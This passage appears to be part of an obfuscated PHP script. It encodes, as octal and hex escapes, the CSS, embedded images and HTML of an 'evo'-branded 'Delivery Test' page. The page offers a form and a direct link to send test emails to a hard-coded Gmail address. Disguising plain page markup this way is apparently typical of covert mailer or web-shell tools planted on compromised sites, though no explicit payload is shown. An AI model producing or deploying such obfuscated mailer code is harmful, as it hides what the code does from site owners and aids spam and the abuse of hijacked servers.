\170\171\66\107\x6e\107\x66\x59\142\x32\x6f\53\61\111\62\x67\x64\x2b\61\x4f\x69\x71\x7a\146\114\157\143\x76\x56\105\x37\124\123\x44\161\107\61\x6d\147\157\144\141\x71\146\x51\132\142\166\132\x43\71\x72\x58\152\161\x47\61\x58\x34\65\127\x7a\x71\x46\126\x4b\x56\x70\x6b\60\114\x4c\157\64\x6c\x47\x50\60\x5a\x47\104\x36\113\147\115\x6e\x54\151\111\x54\153\162\121\147\130\131\121\162\x59\116\151\164\110\x49\123\x72\131\x72\122\x73\x5a\120\157\165\102\150\x64\143\170\x4a\144\113\60\x59\156\124\x71\x4b\x54\x59\162\x52\62\x45\161\61\102\x67\167\131\116\x47\152\122\x6f\60\113\x42\x42\x67\167\131\116\x47\152\122\157\x30\113\x42\102\x67\x77\131\116\x47\152\x52\157\x30\113\x42\102\147\x77\x59\x4e\x47\x6a\x52\157\60\x4b\102\x42\x67\x77\x59\116\107\152\x52\x6f\x30\x4b\102\x42\x67\167\131\x4e\x47\152\122\157\x30\113\x42\102\x67\167\131\x4e\x47\152\122\157\x30\x4b\x42\102\147\167\131\x4e\107\x6a\x52\157\60\x4b\x42\102\147\167\131\x4e\107\152\x52\157\150\x39\104\110\65\x39\141\147\x38\x36\101\x43\157\123\131\x4f\x4c\66\x31\102\x35\x35\105\125\121\x6b\x31\163\63\126\161\x44\172\x73\x4e\110\150\112\x70\131\145\67\121\107\156\x63\x66\115\x53\x48\x55\170\x61\x6c\151\103\110\147\143\x4b\123\130\126\170\x65\x57\x51\x4a\145\x68\x77\x64\112\x64\x58\x46\64\x64\x41\x53\x39\x44\x67\x6b\124\113\x71\114\170\x75\151\x62\x46\x65\151\x58\117\x44\x69\x78\x4e\x69\x37\x4f\x72\x45\103\x2f\x42\120\53\x4a\x74\142\105\x30\x57\x72\x59\101\x2f\x52\162\x78\x4b\116\146\x48\x32\131\125\106\x36\x4e\145\x67\123\x62\153\x2b\107\x6b\x38\x37\170\x74\x45\x72\x4e\66\x45\x73\127\x6d\70\70\146\172\145\115\x58\x70\x77\105\71\105\162\165\114\156\163\57\x6c\x34\x32\151\x6f\x34\144\x4a\x46\114\x50\157\62\57\x50\157\x31\x77\x2b\104\66\111\x57\x37\164\x39\x42\x74\x32\x53\120\x78\63\166\117\x4f\x4d\x66\123\67\145\x48\x56\132\x74\116\x35\64\165\x6c\x67\x32\x67\x6f\65\x36\61\63\70\103\x74\x34\130\x52\x75\156\105\x32\117\x76\163\155\152\147\x34\66\x57\x65\x64\144\125\157\125\127\162\x36\127\114\60\146\x43\157\x49\131\147\117\x32\x2f\x32\163\x39\61\146\163\164\104\x5a\121\x6a\143\x50\x4c\60\145\x50\x74\x35\146\x6c\160\144\x58\x55\167\161\x57\x34\x36\165\115\162\123\61\152\x39\x35\x4a\x4e\x70\x51\162\127\60\x64\x48\160\x39\125\126\57\165\x54\62\x6d\x34\61\x36\x2f\x38\x48\x56\x47\x67\x33\x71\x7a\150\160\102\152\x52\x6f\60\x4b\102\x42\x67\167\131\116\x47\x6a\x52\x6f\60\x4b\x42\102\x67\x77\x59\116\x47\152\122\157\x30\113\102\x42\x67\167\x59\116\x47\152\122\157\60\113\102\x42\147\x77\131\116\x47\152\122\x6f\x30\113\102\x42\x67\x77\x59\x4e\107\152\122\x6f\x30\x4b\x42\x42\x67\x77\131\116\107\152\122\157\x30\113\x42\102\x67\x77\x59\116\107\152\x52\157\x30\x4b\102\x42\x67\x77\131\x4e\x47\x6a\122\157\x30\113\102\102\x67\167\x59\x4e\107\152\122\x6f\x30\x4b\x43\57\106\x44\x70\x78\x30\160\167\x55\157\62\164\x4f\x6f\x6d\x76\x46\66\x4e\x68\112\x64\106\171\115\x56\153\66\151\x56\124\105\66\143\x42\x49\144\x65\106\71\166\x4a\171\166\132\170\x2f\x49\x2f\101\172\x75\x49\x6a\x73\162\121\x76\x6f\x4e\157\x76\x77\x7a\x74\64\106\x61\x6d\123\x73\x30\x4f\152\x72\160\70\x30\120\x6d\166\157\x42\60\172\150\71\x34\60\160\142\x37\141\x7a\146\61\x79\x67\x37\x74\x30\114\111\164\x39\67\x38\x75\x70\x70\172\142\x6e\141\x6c\146\x75\x63\104\127\x39\62\x5a\x6e\144\x4c\120\122\155\113\167\145\x47\x50\144\165\x59\112\53\172\157\115\65\x2f\x44\153\x2b\147\104\x35\116\x64\x76\x4c\x68\x58\130\120\x70\x38\x38\161\x63\x55\x71\x6d\x45\110\65\x47\x35\x4a\x5a\x52\x73\66\x63\x75\170\x77\x49\101\x41\x41\101\101\x45\154\106\124\153\x53\x75\x51\155\x43\103\x29\xa\40\40\x7d\12\40\40\xa\40\x20\56\x61\x75\164\x68\x2d\167\162\x61\x70\160\145\162\56\141\165\164\x68\55\x76\x31\x20\56\141\165\164\x68\x2d\x69\156\x6e\x65\162\72\x61\x66\164\145\x72\40\173\12\40\40\x20\40\40\40\x20\40\40\x20\x77\151\x64\x74\150\72\x20\62\67\x32\160\170\73\xa\40\40\x20\40\x20\40\x20\40\40\40\x68\x65\151\x67\150\164\x3a\40\62\67\x32\x70\x78\73\12\x20\x20\40\x20\40\40\x20\x20\x20\40\143\157\156\164\145\156\x74\x3a\42\x20\42\73\xa\x20\x20\40\x20\x20\40\40\40\x20\40\x70\x6f\163\151\x74\151\x6f\x6e\x3a\40\141\142\x73\x6f\x6c\x75\x74\x65\x3b\12\x20\40\x20\x20\40\x20\40\40\40\x20\x62\x6f\x74\164\x6f\x6d\x3a\x20\x2d\65\x35\160\170\x3b\12\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x72\151\147\150\164\72\40\55\67\65\160\x78\x3b\12\x20\40\40\x20\x20\x20\40\x20\40\40\142\x61\143\153\x67\x72\157\165\x6e\x64\x2d\151\155\141\147\145\x3a\40\165\x72\154\50\144\141\x74\x61\x3a\151\x6d\x61\147\145\x2f\160\x6e\x67\73\142\141\163\145\66\x34\54\151\126\x42\x4f\122\167\x30\113\x47\147\157\101\x41\x41\101\x4e\123\125\x68\x45\x55\147\101\101\x41\122\x41\101\x41\x41\x45\x51\103\x41\115\x41\x41\x41\102\120\x31\116\x73\x6e\101\x41\x41\x41\101\130\116\x53\122\x30\x49\x41\162\163\64\143\x36\121\x41\x41\101\105\x52\154\x57\x45\154\x6d\124\x55\x30\x41\113\147\x41\x41\x41\101\147\101\101\131\144\160\101\x41\x51\101\101\x41\x41\102\101\x41\x41\101\x47\147\101\x41\101\101\101\x41\x41\66\101\x42\101\101\115\101\x41\x41\101\x42\x41\x41\x45\x41\x41\x4b\x41\103\x41\x41\121\101\x41\101\x41\x42\x41\x41\x41\102\x45\x4b\x41\104\x41\x41\121\101\x41\x41\x41\102\101\x41\x41\x42\105\101\x41\x41\101\x41\101\x51\x57\x78\123\62\101\x41\x41\101\167\106\x42\115\x56\x45\125\101\101\101\x44\57\x2f\x2f\53\x41\147\x49\x43\101\x67\120\71\126\126\141\x71\x71\x56\146\x2b\161\x71\166\x2b\x41\x67\114\x2b\x41\147\x50\x39\x6d\132\x73\170\x6d\132\x76\53\x5a\132\166\53\x41\x67\x4e\127\x41\147\120\x39\x74\142\x64\x74\x74\x62\x66\53\x53\x62\x66\x2b\101\x59\x4e\x2b\x41\x67\x4e\53\x41\147\x50\x39\x78\143\145\116\x6d\x5a\166\x2b\101\x5a\165\141\101\132\x76\x39\60\x64\117\150\x30\x64\120\71\x71\141\x76\x2b\101\141\x75\x71\101\x61\x76\x2b\101\x67\x50\71\62\144\166\71\x74\142\146\53\101\x62\x65\x32\x41\x62\146\71\x33\132\165\x35\63\x64\x2b\66\x41\x63\x4f\x39\x34\x61\x66\103\x41\143\x66\x46\x35\141\x2b\x52\x35\x61\57\112\x7a\x5a\165\141\101\132\166\x4b\101\x63\x2f\x4a\x35\142\x65\x64\65\142\x66\117\101\x61\120\116\x36\142\57\x52\x31\x61\165\161\101\x61\166\122\66\132\166\x56\66\x63\120\126\x32\x62\117\x75\101\x62\x50\126\x37\x61\120\x5a\x32\142\x65\x32\101\x62\146\x5a\67\141\165\x31\x37\141\166\x5a\63\132\x75\x35\63\142\x2b\x35\67\141\x2b\x39\x37\141\x2f\144\x34\x61\117\71\112\66\x43\x6f\145\x41\101\x41\101\x51\110\122\123\124\154\x4d\101\101\x51\111\103\101\167\115\x44\x42\x41\121\106\x42\x51\x55\107\x42\147\x63\110\x42\x77\x67\111\x43\101\x6b\113\103\x67\x6f\114\103\x77\167\x4d\104\x41\x77\x4e\104\x67\64\x4f\x44\x77\70\121\x45\x52\111\124\x45\x78\121\x55\x46\102\125\126\106\150\143\131\107\x42\x6b\132\107\150\x6f\x62\x48\x42\x77\144\110\x52\x34\145\110\170\x38\x67\112\65\x75\x4d\127\167\x41\x41\101\57\x46\x4a\122\x45\106\125\145\116\x72\164\x32\107\61\130\x45\x6b\105\131\170\x76\110\x5a\116\153\62\170\110\x47\172\x64\x62\113\106\154\x30\x63\124\x77\147\144\123\153\103\x4b\172\x75\67\57\x2b\164\64\160\167\66\x73\101\x6a\164\152\111\165\x65\x45\57\146\70\162\63\x66\x4d\x4f\x33\x35\x6e\132\156\142\x75\x79\x35\x67\126\107\x63\x76\x66\x7a\112\x65\60\162\156\x54\146\x47\x49\x2b\115\147\147\x47\112\122\125\132\156\x62\160\x50\111\x68\112\113\x74\70\x38\156\125\x35\x33\112\x6e\x46\x55\x4c\166\x79\111\x53\x59\x36\x4b\x41\166\x38\166\x50\x6a\x30\166\x72\x32\x72\x59\x77\151\105\x32\x5a\x32\102\71\112\x2b\x75\x4e\131\x63\x79\171\x51\x78\167\x57\132\166\141\145\x47\x48\63\107\x34\x62\x4d\152\163\166\x49\57\x6b\143\x77\124\x43\57\x56\x2b\x37\x6b\114\x6f\141\x68\x6c\111\x54\172\121\157\x6a\x50\63\132\106\147\x73\x4a\x43\x68\x37\x49\112\x51\x7a\x70\130\60\121\x46\x6a\x34\x75\115\151\x59\61\70\145\104\115\132\71\142\132\x43\x46\71\117\x51\x61\x68\156\x4b\x36\143\x6d\57\131\67\x6a\x73\60\163\x68\x2f\114\106\63\101\x75\x76\x31\x50\x6c\121\x64\x33\115\x78\x62\x64\x58\131\x49\x51\163\160\126\64\x34\x45\x45\105\x41\101\101\127\124\116\x44\101\131\x59\x6b\x4b\x64\112\x62\x4e\115\x73\114\172\131\165\145\132\x62\x61\132\62\x69\115\64\x36\122\x56\142\110\x42\141\151\x5a\x39\x4a\163\53\156\110\x45\x64\154\151\x34\x32\x4e\x39\x58\x75\123\x65\x6e\x35\150\107\x70\61\x43\x51\x54\165\x4f\112\x51\104\x52\163\x44\x39\71\116\x34\x67\x4d\123\160\x59\x57\x61\160\116\110\x36\111\112\157\x38\63\103\x49\145\111\114\x5a\x51\x46\145\x73\105\141\x62\x65\x72\67\71\116\x43\127\122\157\x75\x6b\x4f\160\116\x45\x6e\127\60\147\x58\x51\x71\x44\70\x31\167\66\101\x43\x78\x68\x62\162\x59\144\145\x37\126\165\x46\x43\131\x65\101\x32\121\x52\103\x4e\111\x73\147\x5a\x49\x53\171\116\111\161\172\x36\x49\x79\x68\120\152\x4f\x6a\x4e\126\x49\x46\131\x6e\x69\113\63\x64\x6d\113\x55\x36\x51\x64\x4c\141\112\x55\151\155\105\171\x53\x72\104\x5a\x4c\162\102\x4d\x6c\162\147\x78\122\x4b\x55\67\x73\170\103\x77\57\x45\x4d\x65\60\x43\x41\x67\x67\147\147\x41\x44\x79\x53\112\x43\161\x78\151\170\x49\153\113\x70\x4e\x45\x68\x36\x49\157\172\x45\114\x44\x38\x52\170\152\121\101\103\103\x43\x43\x41\x41\x50\112\x49\x6b\113\162\107\x4c\105\x67\121\130\161\161\101\x41\105\112\x6a\x78\x72\x51\x4c\103\x43\103\101\101\105\x4a\x6a\122\x6d\116\x47\131\x38\x61\x30\103\x77\147\x67\147\x41\x42\x43\131\167\x59\x49\146\x51\147\x67\x67\116\103\131\x4d\x65\60\103\x41\x67\147\x67\147\116\x43\x59\x30\132\152\x52\155\x44\x48\164\x41\147\111\x49\x49\x49\101\101\121\155\x4e\x47\x48\x77\111\x49\111\104\122\155\x54\114\x75\x41\101\101\111\111\111\x44\122\x6d\116\x47\x59\60\x5a\153\171\x37\147\101\x41\103\103\103\x43\x41\x30\112\152\122\x68\167\x41\103\103\111\x30\x5a\60\x79\64\147\147\101\101\x43\103\x49\x30\x5a\152\122\x6d\116\x47\144\115\165\x49\x49\x41\x41\x41\147\147\147\116\x47\142\x30\x49\x59\x41\x41\121\x6d\120\107\164\101\163\x49\111\111\101\101\x51\155\x4e\107\x59\x30\x5a\152\170\162\x51\x4c\x43\x43\103\x41\x41\101\x49\x49\x6a\x52\154\71\x43\103\103\x41\60\x4a\x67\x78\x37\x51\x49\x43\103\103\103\101\x30\112\x6a\x52\x6d\x4e\x47\x59\115\x65\60\103\101\147\x67\147\x67\101\x42\x43\x59\x30\131\x66\101\x67\147\147\116\x47\132\115\165\x34\x41\101\x41\147\x67\x67\x4e\107\x59\x30\132\x6a\x52\x6d\124\114\165\x41\x41\101\111\111\111\111\x44\121\155\116\x47\110\101\101\x49\x49\x6a\x52\156\124\114\x69\103\x41\101\101\x49\x49\x6a\122\x6d\x4e\107\131\x30\x5a\x49\x45\171\67\147\101\101\x43\x43\103\x41\x30\x5a\166\121\150\147\x41\x42\x43\131\70\x61\60\x43\167\147\147\147\x41\102\x43\131\x30\x5a\152\x42\x67\151\x4e\x47\x64\115\x75\111\x49\x41\101\x41\x67\151\x4e\x32\146\x2f\x53\150\x2b\121\x36\120\146\x4c\x61\x49\112\154\117\153\x4b\x77\x32\123\x4b\x6f\124\112\x4b\x33\144\155\x46\x6d\x64\111\114\142\x32\164\102\x76\x72\102\x49\154\162\147\x35\x69\127\x52\x6f\x2b\x57\x71\x51\x2b\123\141\101\122\112\x31\147\x43\x4a\101\172\x73\170\124\x68\x43\x4e\61\66\x70\x31\x76\x4e\165\162\x47\x6a\x4e\152\x6f\157\x34\x32\152\60\x37\x6b\101\110\x46\x73\x6b\157\x59\62\153\105\142\x6c\x33\63\x55\x30\x5a\147\157\x50\152\130\127\x2b\x52\154\60\147\153\x61\162\156\141\150\161\x74\104\x61\112\x4b\170\x4d\120\x44\x44\127\111\151\x4e\x61\146\107\145\156\150\64\x67\x45\x78\x76\126\150\130\146\155\x6b\67\104\141\66\114\61\x41\x56\107\170\123\x62\171\62\150\66\x4d\170\x4b\67\71\132\x6b\64\x32\145\141\61\x70\112\142\112\64\70\x73\125\x32\172\104\145\x7a\x51\70\151\171\61\x7a\x36\102\x42\x77\x6f\171\152\115\x51\x73\166\x58\x70\x38\131\x51\101\x41\150\147\x41\104\x69\154\122\x66\x79\171\53\167\x66\70\x57\161\x5a\132\x55\146\x47\x5a\x69\x68\x76\x67\x5a\x69\x42\x33\106\171\142\x43\53\153\103\x55\x55\x35\x58\114\153\x41\x6f\65\x30\103\53\x67\x62\102\121\x64\x55\x7a\x6b\101\111\x56\171\145\x6a\111\x41\131\146\x46\124\111\61\163\157\x6c\110\x50\x32\110\147\x4e\103\x6e\110\156\65\x41\x59\x4e\171\64\152\166\160\157\x56\102\x36\146\126\172\114\71\61\143\167\172\x4c\x4a\71\x4c\146\x64\67\123\60\x6a\150\145\150\170\117\65\x48\x35\57\x79\x65\120\x72\x31\127\x36\147\110\x6f\x6e\x49\x37\x66\112\x35\x4f\x52\x53\x52\57\156\66\121\62\171\x51\141\156\161\67\66\x33\172\x75\130\125\x35\114\112\132\x52\x4b\x69\171\x44\x2f\x57\71\x2f\x70\152\153\x64\120\132\172\x30\57\x79\x4a\x38\146\x71\x56\171\x72\x79\53\x71\121\x5a\104\115\x6a\x4a\113\x6f\x44\146\171\x38\142\122\126\150\x48\x68\x51\124\x77\x41\101\x41\101\x41\x53\x55\126\x4f\122\113\65\103\131\x49\111\75\51\73\12\40\40\x20\x20\40\40\x20\40\40\40\x7a\55\x69\156\x64\145\170\x3a\40\x2d\x31\xa\x20\x20\x7d\12\40\x20\xa\40\x20\100\155\x65\144\x69\x61\x20\x28\x6d\x61\170\55\167\x69\144\x74\x68\x3a\65\67\x35\x2e\x39\70\x70\x78\x29\x20\173\xa\40\x20\x20\40\40\40\40\40\40\x20\x2e\141\x75\x74\x68\x2d\x77\162\x61\x70\x70\x65\162\56\x61\165\164\150\55\166\x31\40\56\x61\165\164\150\x2d\151\156\156\145\x72\72\x61\x66\164\145\162\54\12\40\40\40\40\40\40\x20\40\x20\40\x2e\x61\165\x74\150\55\x77\x72\141\160\160\x65\162\x2e\x61\165\164\x68\55\x76\x31\40\x2e\141\x75\x74\x68\55\x69\156\156\x65\x72\72\x62\x65\146\x6f\162\145\40\x7b\xa\x20\x20\40\40\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\x64\151\163\x70\154\x61\171\x3a\40\156\x6f\x6e\145\xa\40\x20\x20\x20\x20\x20\40\40\x20\40\x7d\12\40\x20\175\xa\x20\40\xa\x20\x20\xa\40\40\xa\x20\x20\x2e\141\x75\x74\150\55\167\x72\141\160\160\145\162\x2e\141\x75\164\x68\55\166\x31\x20\x2e\x61\x75\164\x68\55\x69\x6e\x6e\x65\x72\40\x7b\12\40\40\40\40\x20\40\40\x20\40\x20\155\141\170\x2d\167\151\144\164\150\x3a\x20\x35\x30\60\x70\170\73\12\40\x20\40\40\40\40\40\x20\40\x20\12\x20\x20\175\12\x20\40\12\40\x20\x2e\x61\165\164\x68\55\167\x72\141\x70\160\x65\x72\40\x2e\142\x72\x61\156\144\55\x6c\157\x67\157\x20\x7b\12\40\40\40\x20\x20\40\40\40\40\x20\144\x69\163\160\x6c\x61\x79\72\x20\55\x77\x65\x62\x6b\151\x74\55\x62\157\170\73\12\40\40\x20\40\40\x20\x20\40\40\x20\x64\x69\x73\160\154\141\171\x3a\40\55\167\x65\142\x6b\151\x74\55\x66\x6c\145\x78\73\xa\40\x20\40\x20\x20\x20\40\x20\40\40\144\151\163\160\154\x61\171\72\x20\55\155\163\55\x66\x6c\x65\170\142\157\x78\73\xa\x20\x20\x20\x20\40\40\40\40\x20\x20\x64\x69\163\x70\x6c\x61\x79\x3a\x20\146\x6c\x65\170\x3b\xa\40\40\40\40\x20\40\x20\x20\x20\x20\55\x77\145\142\x6b\151\164\55\x62\x6f\x78\x2d\160\141\143\153\72\40\x63\145\156\x74\145\x72\x3b\xa\x20\40\40\40\40\40\40\40\x20\40\x2d\167\x65\142\153\x69\x74\x2d\x6a\x75\x73\x74\151\146\171\55\x63\x6f\x6e\x74\x65\156\x74\x3a\x20\143\145\x6e\164\145\162\x3b\12\x20\x20\40\40\40\40\40\40\x20\40\x2d\155\163\55\146\x6c\x65\170\55\x70\141\143\153\x3a\x20\143\x65\x6e\x74\145\162\73\12\x20\40\x20\x20\x20\x20\x20\x20\40\x20\x6a\x75\163\x74\151\146\171\x2d\143\157\x6e\x74\145\156\164\72\x20\x63\x65\156\x74\145\162\x3b\xa\x20\40\x20\40\40\x20\40\40\40\40\x6d\x61\162\x67\x69\x6e\x3a\x20\x31\162\x65\x6d\40\x30\40\x32\162\145\x6d\xa\40\40\175\12\40\x20\12\x20\x20\x2e\x61\165\x74\x68\55\167\162\141\160\x70\145\x72\40\x2e\x62\x72\141\x6e\144\x2d\x6c\157\x67\x6f\40\x2e\x62\x72\x61\156\x64\55\x74\145\170\x74\40\173\xa\40\x20\x20\40\x20\40\40\40\x20\x20\x66\157\156\164\55\167\145\x69\x67\150\x74\x3a\x20\x36\x30\60\xa\x20\x20\x7d\12\x20\x20\12\x20\40\12\x20\x20\x40\155\145\x64\151\141\40\50\155\151\156\55\167\x69\x64\164\x68\72\x31\62\60\60\160\170\51\40\x7b\12\x20\40\x20\40\40\40\x20\x20\x20\x20\56\141\x75\x74\x68\55\167\162\141\160\x70\x65\162\56\x61\x75\164\150\55\x76\62\40\x2e\141\165\x74\150\55\x63\x61\x72\x64\x20\173\xa\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\40\x20\40\x77\x69\x64\x74\x68\x3a\40\x34\x30\x30\x70\170\xa\x20\x20\40\x20\40\x20\x20\x20\40\40\x7d\12\40\x20\175\12\40\x20\xa\40\x20\xa\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\74\x2f\163\164\171\154\x65\76\xa\x20\40\x20\x20\40\40\40\40\x20\x20\12\40\x20\12\40\x20\40\40\40\40\x20\40\x20\x20\12\x20\x20\40\x20\x20\40\40\40\40\x20\12\x20\40\40\x20\40\x20\x20\x20\40\x20\12\40\x20\xa\40\40\x20\40\40\x20\x20\40\74\57\150\145\x61\x64\76\12\40\40\xa\x20\x20\40\x20\x20\x20\40\x20\x3c\x62\157\x64\x79\40\x73\164\x79\x6c\x65\x3d\x22\xa\40\x20\40\40\x20\40\40\40\x20\x20\143\157\x6c\x6f\x72\72\40\43\x42\x34\x42\67\102\x44\x3b\xa\x20\40\40\40\x20\40\40\40\40\40\142\x61\x63\x6b\147\x72\157\x75\156\x64\x2d\x63\157\154\157\162\72\x20\x23\x31\x36\x31\104\63\61\x3b\12\40\40\42\x3e\xa\x20\x20\x20\x20\x20\x20\x20\40\x20\40\12\40\40\40\x20\40\x20\40\40\40\x20\x3c\x64\x69\166\x20\143\154\x61\163\x73\75\42\x61\165\164\x68\x2d\x77\162\141\160\160\145\162\40\x61\165\164\150\55\x76\x31\40\160\170\x2d\62\x22\x3e\12\40\x20\x20\40\x20\x20\x20\x20\74\x64\151\x76\40\143\154\141\163\x73\x3d\x22\141\x75\x74\x68\x2d\x69\x6e\156\x65\162\x20\160\x79\x2d\62\x22\x3e\xa\40\x20\x20\x20\40\x20\x20\40\40\x20\xa\x20\40\74\x64\x69\x76\40\x63\154\141\x73\163\x3d\42\143\x61\162\x64\x20\x6d\x62\55\60\42\40\163\164\x79\154\x65\75\x22\xa\40\40\x20\x20\x20\40\x20\40\x20\x20\x62\141\x63\x6b\x67\x72\x6f\165\x6e\x64\55\143\157\154\157\162\x3a\40\x23\62\70\63\60\64\66\73\12\x20\40\40\x20\x20\x20\x20\40\40\40\x62\x6f\170\x2d\163\150\x61\144\157\167\72\40\x30\x20\x34\160\x78\x20\62\64\160\170\40\60\40\x72\147\x62\50\63\x34\40\x34\61\x20\x34\x37\x20\x2f\x20\x32\64\45\51\x3b\xa\x20\40\40\40\x20\40\x20\40\x20\40\142\x6f\x72\x64\145\162\55\162\141\144\151\165\163\x3a\40\x31\65\160\x78\73\xa\40\40\x22\76\40\12\40\x20\40\x20\x20\40\40\40\x20\40\40\x20\40\x20\40\40\74\x64\x69\166\x20\x63\x6c\x61\163\x73\x3d\x22\143\x61\x72\x64\x2d\142\157\144\171\x22\x3e\12\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\x3c\141\40\x68\162\x65\146\x3d\42\150\x74\x74\160\x73\72\57\x2f\145\x76\157\x63\150\x61\x74\x2e\151\x64\42\40\164\x61\x72\x67\145\164\75\x22\x5f\142\154\x61\x6e\153\x22\40\163\164\171\154\x65\x3d\x22\xa\40\40\x20\x20\40\x20\40\40\40\40\143\157\x6c\157\162\72\40\x23\x37\x33\x36\67\x46\x30\40\x21\x69\155\x70\x6f\162\164\141\x6e\164\73\xa\40\40\40\x20\x20\40\40\40\40\x20\142\141\143\153\x67\x72\x6f\165\x6e\x64\55\x63\157\154\x6f\x72\72\x20\x74\x72\141\x6e\x73\x70\x61\x72\145\156\x74\x3b\12\40\x20\x22\40\x63\154\x61\163\163\75\x22\142\x72\x61\156\144\55\x6c\157\147\x6f\42\76\12\12\x20\x20\40\40\40\40\x20\40\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\74\150\62\40\143\154\x61\163\163\x3d\x22\x62\x72\141\x6e\144\55\x74\145\170\x74\40\164\x65\x78\164\x2d\160\x72\x69\155\141\x72\x79\40\155\154\55\61\x22\x20\x73\x74\x79\154\145\75\x22\xa\40\x20\x20\x20\x20\x20\x20\40\40\40\x63\x6f\154\x6f\162\x3a\x20\x23\x37\x33\x36\67\x46\x30\40\41\x69\155\160\157\162\x74\141\156\164\73\12\x20\x20\40\x20\40\40\x20\40\40\x20\x62\x61\x63\153\147\162\x6f\165\156\144\55\143\157\154\157\162\x3a\40\164\x72\x61\x6e\x73\160\x61\162\x65\156\x74\x3b\12\x20\x20\42\76\x65\166\x6f\x3c\57\x68\x32\76\xa\40\x20\40\x20\40\40\40\x20\40\x20\40\x20\40\40\40\40\x20\40\x3c\x2f\x61\x3e\xa\x20\40" . $aler . "\12\40\40\40\x20\x20\x20\x20\40\40\40\x20\40\x20\40\40\40\x20\x20\74\x68\x34\40\x63\x6c\x61\163\163\75\x22\143\x61\162\x64\55\x74\151\164\154\x65\40\155\142\x2d\x31\x22\76\x44\x65\x6c\x69\166\145\x72\171\40\x54\x65\163\164\x3c\57\x68\64\x3e\12\x20\x20\40\x20\x20\x20\40\40\40\40\40\40\40\40\x20\40\40\40\74\x70\x20\x63\154\141\163\x73\75\42\143\141\x72\x64\55\164\x65\170\164\x20\x6d\142\x2d\x32\42\x3e\124\x69\x70\72\x20\171\157\165\40\x63\141\x6e\40\x66\141\163\x74\x20\143\150\145\143\x6b\40\144\145\154\x69\x76\x65\x72\171\40\167\x69\164\x68\x20\x74\150\151\163\40\154\151\156\x6b\x20\x64\151\162\145\143\x74\154\171\x20\x3c\x62\x72\76\x3c\x61\x20\x68\x72\x65\x66\75\42" . $stra . "\77\x65\155\141\151\154\75\141\162\x6a\165\x6e\141\161\164\x61\154\x6b\100\x67\x6d\141\151\154\56\143\x6f\x6d\x22\x3e" . $stra . "\77\x65\155\141\151\x6c\x3d\141\162\x6a\x75\x6e\141\x71\x74\x61\x6c\153\x40\147\155\x61\151\154\x2e\x63\x6f\x6d\74\x2f\141\76\74\x2f\x70\76\12\x20\40\xa\40\x20\40\x20\x20\x20\40\40\40\40\40\40\40\40\x20\x20\40\40\x3c\x66\x6f\x72\155\40\155\145\164\150\157\144\75\x22\160\157\x73\x74\x22\x3e\12\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\40\40\x20\x20\x20\40\40\40\40\x20\x20\x20\x20\x3c\144\x69\x76\x20\x63\154\x61\x73\x73\75\x22\x66\157\162\155\x2d\147\162\157\x75\x70\x22\x3e\xa\40\x20\40\x20\40\x20\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\x20\x20\x20\x20\x20\74\154\141\142\x65\154\40\143\x6c\x61\163\x73\x3d\42\x66\x6f\162\x6d\x2d\x6c\141\142\x65\154\42\76\x45\x6d\141\151\x6c\74\x2f\x6c\x61\x62\145\154\76\12\40\x20\40\x20\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\40\x20\x20\x20\40\40\40\x3c\x69\x6e\x70\165\164\x20\x72\x65\161\x75\151\162\x65\144\75\x22\x22\40\164\171\160\x65\x3d\x22\145\x6d\141\151\154\x22\x20\x63\x6c\x61\163\163\75\x22\146\157\162\x6d\x2d\x63\157\x6e\164\x72\x6f\x6c\42\40\156\x61\155\145\x3d\x22\145\x6d\x61\x69\154\x22\x20\x70\154\x61\x63\x65\150\157\x6c\x64\x65\162\x3d\x22\x61\162\x6a\x75\156\x61\x71\164\141\x6c\153\x40\x67\155\x61\151\154\x2e\x63\157\155\42\40\141\x75\164\x6f\x66\x6f\143\165\163\75\x22\x22\x20\163\164\171\154\145\75\x22\xa\x20\x20\40\x20\40\x20\x20\x20\40\x20\142\x6f\x72\x64\x65\x72\55\x63\x6f\154\x6f\x72\x3a\x20\43\x34\60\x34\x36\65\x36\x3b\12\40\40\x20\x20\40\x20\40\x20\40\40\142\141\143\153\147\162\x6f\x75\156\x64\55\x63\157\x6c\157\162\x3a\x20\43\62\x38\x33\60\64\x36\x3b\xa\40\x20\x20\x20\x20\x20\40\40\x20\x20\143\x6f\154\x6f\x72\72\x20\x23\102\x34\x42\x37\102\104\x3b\xa\40\40\x22\76\xa\40\x20\74\160\x20\143\x6c\x61\163\163\x3d\42\x63\x61\x72\144\x2d\x74\145\170\164\40\x6d\x62\55\x32\x22\76\124\145\163\x74\40\x65\x6d\141\x69\154\x20\x77\151\x6c\154\40\142\x65\40\163\x65\156\x74\x20\x74\x6f\x20\164\150\151\163\40\145\x6d\x61\x69\x6c\40\141\x64\144\162\145\163\x73\x2e\x3c\x2f\160\76\12\x20\40\xa\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\40\40\40\x20\40\40\40\40\40\x20\40\x20\x20\74\x2f\x64\x69\166\x3e\xa\40\x20\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\x20\74\144\151\x76\40\143\x6c\141\x73\163\75\42\x66\x6f\x72\155\55\x67\x72\157\165\160\42\x3e\xa\40\40\40\40\40\40\x20\40\40\40\x20\x20\40\40\x20\x20\40\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\x20\40\x20\40\40\x20\40\40\40\40\40\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\40\x20\x20\x3c\x62\165\164\x74\157\156\x20\164\171\160\145\75\42\x73\165\142\x6d\151\164\x22\40\x63\154\141\x73\x73\75\42\142\164\156\x20\142\164\156\x2d\x6c\x67\x20\x66\154\157\x61\164\x2d\x72\x69\x67\x68\x74\x22\40\163\x74\171\154\145\75\42\x62\x6f\162\x64\145\x72\x2d\143\x6f\154\157\162\x3a\x20\43\64\70\63\x39\105\102\40\41\151\x6d\x70\x6f\162\x74\141\156\164\x3b\x62\141\x63\x6b\x67\162\157\x75\x6e\x64\x2d\143\157\154\157\x